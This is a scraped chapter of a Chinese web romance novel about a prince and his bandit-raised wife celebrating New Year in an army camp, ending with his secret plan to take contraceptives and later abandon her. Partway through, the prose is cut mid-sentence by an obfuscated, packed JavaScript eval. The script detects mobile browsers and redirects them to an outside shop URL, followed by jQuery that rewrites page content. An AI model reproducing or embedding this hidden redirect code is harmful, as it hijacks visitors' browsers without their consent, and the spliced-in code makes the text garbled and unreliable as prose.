魏珩看了一眼仅供一人入睡的小榻，对明显受了欺负，却还要依偎他的乖巧小妻道：“你睡矮榻，我去拿一床铺盖。” 在外行军，除却高阶军将，其余的兵丁小卒全是地上铺一层薄毯，卷着冬被，席地入睡。 魏珩料想女孩家细皮嫩肉，没吃过这样的苦头，也不欲在这种细枝末节的小事上折磨妻子，因此他主动让出一张木榻，供沈青棠入睡。 沈青棠看着处处为自己考虑的夫君，心中饮蜜似的甜。 待魏珩打理好铺盖，被窝垛子陡然掀开一角，凉风灌入，竟是沈青棠泥鳅似的悄无声息滑到了他的身旁。 女孩抬起一双水光潋滟的杏眼，羞赧又腼腆地央求：“我和王爷一块儿睡。” 魏珩看着“没苦硬吃”的沈青棠，缄默片刻，终是什么都没说。 他的沉默，代表了无声的纵容。 沈青棠是个顺杆上爬的货，她吃到过一次亲近夫君的甜头，眼下见魏珩没有抵抗之色，便愈发大胆。 她小心翼翼捞过他的手臂，好似囤食的田鼠一般，紧紧抱住那一只坚实遒劲的臂骨，蹭了蹭脸，乖乖入睡。 许是战役平稳，过两日便要拔营回城。 魏珩没有记挂的军务，这一觉又睡到了天光大亮。 暖融融的阳光照入盖满羊羔皮子的主帐，泼了满地金芒。 帐篷一隅炭盆已熄，残留一片枯白的草木灰。 魏珩自睡梦中醒来，下意识动了下手指，一侧空空如也，一贯贪睡的沈青棠早已不知所踪。 他摁了下涩痛的额角，起身洗漱穿衣。 近日诸军英勇厮杀，战事大捷，也该趁着年关，设下一场犒赏三军的庆功宴。 魏珩打算吩咐火头军备膳设宴，刚入灶营，就听一阵愉悦的笑声，竟是早起的沈青棠一边擀面，一边指挥毛手毛脚的灶丁调馅儿。 女孩今日穿着一身报春花的袄裙，为图方便，取桂红丝绦随意拧了两个环髻。她的身姿娇小，腰肢纤细，站在一群五大三粗的兵丁中央，显得羸弱瘦小，我见犹怜。 明明是和一群军将相处，沈青棠却没有半点不自在，反倒抬袖抹了一把颊边的汗水，大大方方问一旁的兵卒焦庆：“咱们此次行军一共调了多少兵马啊？什么？三万人？那这点包子也不够这么多人分啊。” 要知道一人一个时辰约莫可以包一百二十个包子，一天下来至多也就包一千个。 虽说火头军的灶丁多，可揉包子费时费力，还要将冻在雪泥里的羊腿化冻、剁馅儿，方能裹入面皮，制成包子。倒不如直接炙烤羊肉、煮汤焖饭来得方便。 这也是为何将士们平时餐饮不拘小节，大口吃肉，大碗喝酒的原因……实在是军情紧急，出门在外能方便一顿是一顿。 焦庆闻到笼屉里散出的包子香气，咽了咽口水：“那不然咱们一块儿动手包，随便包上几锅，王妃给王爷送去两屉，再给江老将军、柳副官各送一屉，其余的咱们哥几个分了得了。” 围观的灶丁们闻到香喷喷的羊肉包子味，连连点头：“就是就是……” 能吃上一口就行了，谁管战友弟兄的死活？ 可不等沈青棠回答，一旁的孟刚忽然朝着焦庆猛踹一脚，将焦庆踹得一个趔趄。 孟刚下脚真黑，焦庆一个趔趄，险些摔进锅里。 他平白挨了一下，痛得捂住屁股，怒目大骂：“孟刚你疯了？！我和王妃讨包子吃，你踢我作甚？” 孟刚朝他疯狂眨眼，又迅速撇清干系：“这可是王妃亲手给王爷包的羊肉包子，你我怎么能贪呢？！” 孟刚这般反常，焦庆若是再不懂兄弟的暗示，他真的白活了。 果不其然。 焦庆抬头望向帐门，恰好迎上一双锋锐似剑的寒目。 正是抱臂而立、审视已久的魏珩。 焦庆吓得一个激灵，连连拉着兵丁们行礼：“王爷，您来了！” 魏珩冷淡地嗯了一声，又上前牵过沈青棠，取帕子擦拭她脸上面粉，“怎么忽然想到蒸包子？” 沈青棠就是个实心眼的女子，她从前在匪寨里生活，也时常去旁人家中串门儿，不是帮着婶婶婆婆们烧灶劈柴，就是帮着剖鱼、炖肉，她不觉得帮忙蒸一锅包子有何不妥。 沈青棠傻兮兮地朝魏珩笑：“已经是元月了，我想着王爷行军在外，连一桌像样的年夜饭都没吃上，正好我闲暇得空，想为王爷置办一顿吃食。” 原来是为魏珩的衣食住行费心，怪道这般早就醒来操劳。 许是知道沈青棠一片好心，魏珩没有苛责她，只说了一句：“莫要太过劳累。” 得知魏珩醒了，沈青棠没在灶帐待太久。 她蒸了几屉羊肉包子就收了手，知道魏珩用完早膳又得巡营务公，还给他熬上一锅添了红枣、核桃、松子等等果子杂料的七宝五味粥，免得肉食下肚，脾胃不克化。 夜里，军帐里设宴，沈青棠没有去凑热闹，反而就着灶丁送来的小宴，吃了个痛快。 沈父死于契丹人之手，沈青棠与契丹有着不共戴天的血海深仇。 沈青棠敬重这些保家卫国的魏家军，不会给魏珩添堵添乱。 她老实巴交守在主帐里等待魏珩忙完回帐。 她等得昏昏欲睡，却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17781143|209146||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 想熄灯先睡。 直到药枕的冰片、薄荷叶散出甘洌清爽的香气，诱得人昏昏欲睡，沈青棠终于抵抗不住上涌的困意，眼睛一眯，便倒在了被褥里。 等魏珩宴散回帐，恰好看到沈青棠和衣躺下，以一种别扭的姿势，垫着软枕，睡得香甜。 帐中燃着一豆黄澄澄的烛光，黯淡的火光落到沈青棠的眉眼，将她的柳眉俏鼻渡上一层圆融的柔光。 许是烛焰微弱，沈青棠的眼睫落下一重灰扑扑的剪影，好似一丛雪山黑松，映在丰腴柔软的脸颊两端。 她睡得极沉，极安心，即便魏珩悄然走近，她亦没有觉察端倪，自顾自沉溺梦乡。 这般全心全意信赖魏珩的模样，好似一条认了主的小狗。 小狗很忠心，很乖，很喜欢它的主人。 小狗会永远对主人笑，即便它不知道，自己终有一日会被主人舍弃。 魏珩静默一瞬，不知为何，他竟鬼使神差伸出手，揉了揉沈青棠的脑袋。 许是魏珩摸头的动作太痒，沈青棠竟硬生生被他闹醒了。 睁眼的瞬间，沈青棠犹在梦中，眼眸如同覆了一层雾气，影影绰绰看不真切。 继而，视线变得清明，她看清了眼前的男人，也看到魏珩那张得天独厚的秀致面庞。凤眸湛黑狭长，如蒙阴翳，眉峰走势凛冽，不好相与。 偏偏他这样寡情性冷的人，竟有最挺拔俊俏的鼻，最嫣红单薄的唇，五官疏朗清绝，勾人心弦。 很久以前，沈青棠便觉得魏珩生得好看，果然这么多年过去，美少年也长成了大美人。 “魏珩，新年喜乐。” 她困意未消，她第一次唤他的名字，她把他当成朝夕相处的枕边人，她没有毕恭毕敬唤他“王爷”。 沈青棠从榻上爬起来，献宝似的取出一个包袱。 打开绳结，里头装着可以手持燃放的花筒、一双手工裁制的三指鹿皮手套。 这种皮制手套难裁，要鞣皮，打孔，缝制布料，极其麻烦，可胜在轻薄御寒，合适持弓搭箭。 沈青棠很有巧思，还在勾弦的骨节处多缝了一层棉布，防止弓弦割伤手指。 这是擅长弓马之人，方能注意到的防护细节，可见沈青棠为他花了不少心思。 沈青棠将年节礼物送给魏珩，又拉着魏珩外出燃放烟火。 五光十色的焰火，自那一管窄窄的纸筒里簌簌喷出。 可塞外天寒地冻，那点烟火不过绽放一瞬就被风雪吹熄，连同光亮一起消失无踪。 好似被暗无天日的夜吞噬殆尽。 不禁玩的小东西，却极讨沈青棠的喜欢。 沈青棠再次燃起了花筒。 绚烂的光芒照亮沈青棠的脸，映入她那两丸泠泠如墨玉的眸子。 烟花在她的杏眸里炸开，流光溢彩，灿烂如天上星瀑。 花筒放完了，沈青棠又喊魏珩过来堆雪人：“过年就要这样玩的，王爷，你快来！” 她知道魏珩不屑于玩这些稚童的游戏，但她还是任性地要他陪她。 沈青棠做事认真，即便堆雪人也很有章法。 取草叶梳成头发，取石子抿作眼睛，最后搓出细细的手、大大的肚子、圆圆的脑袋。 她一口气堆了三个雪人。 两大一小。 沈青棠目光躲闪，清了清嗓子：“这是你，这是我……” 魏珩挑眉，指着最中间那个小小的雪人，嗓音慵懒低哑地问她：“那它呢？” 沈青棠的耳朵变红，不敢看魏珩的眼睛。 她嘿嘿一笑，说不出话。 沈青棠没好意思说，他们是夫妻嘛，这般生活下去，日后定会怀胎生子。 他们会有一个孩子。 眼睛鼻子像魏珩，眉毛嘴唇像她。 魏珩的眼睛很漂亮，鼻梁也高挺，小孩像他才好看。 到时候，魏珩教孩子读书写字，她就教孩子骑马射箭，日子就这么欢欢喜喜地过下去。 老实说，沈青棠已经开始喜欢魏珩了…… 等到日后，她的喜欢会越来越多。 他终会成为沈青棠的依靠，与她厮守一生，永永远远生活在一起。 - 夜里，沈青棠玩累了，沐浴换衣后，便在主帐中睡下。 夜幕深沉，魏珩披衣起身，顶风冒雪来到了一侧军帐。 帐中，巫医跪地献药，将那一纸写满药材的方子，奉于魏珩的面前，“王爷，男子服用的秘药已成，只需每十日服下一帖，便能避免孕事，不令女子怀胎。” 魏珩淡然收下药方子，将其掩入袖中。 莫名的，魏珩想起今晚的事。 沈青棠拉着他玩一些小孩的把戏。 她蹲着身子，背对着他，堆垒雪人。 明明风雪渐大，手指都冻得通红，她却玩得不亦乐乎。 沈青棠一面偷偷描摹魏珩的眉眼，一面小心翼翼□□雪人的眼窝、眉骨。 她捏了一家三口。 一个沈青棠，一个魏珩，还有一个未曾出世的孩子。 在这一刻，魏珩似乎明白了，沈青棠入戏太深，她已开始期盼日后，期盼与他有一个美满结局。 但很可惜，他虽娶她为妻，却从未许诺过沈青棠，要与她长相厮守。 他们早晚有一日会和离。 魏珩总有一天，会义无反顾舍下她。 他不会给她留下子嗣。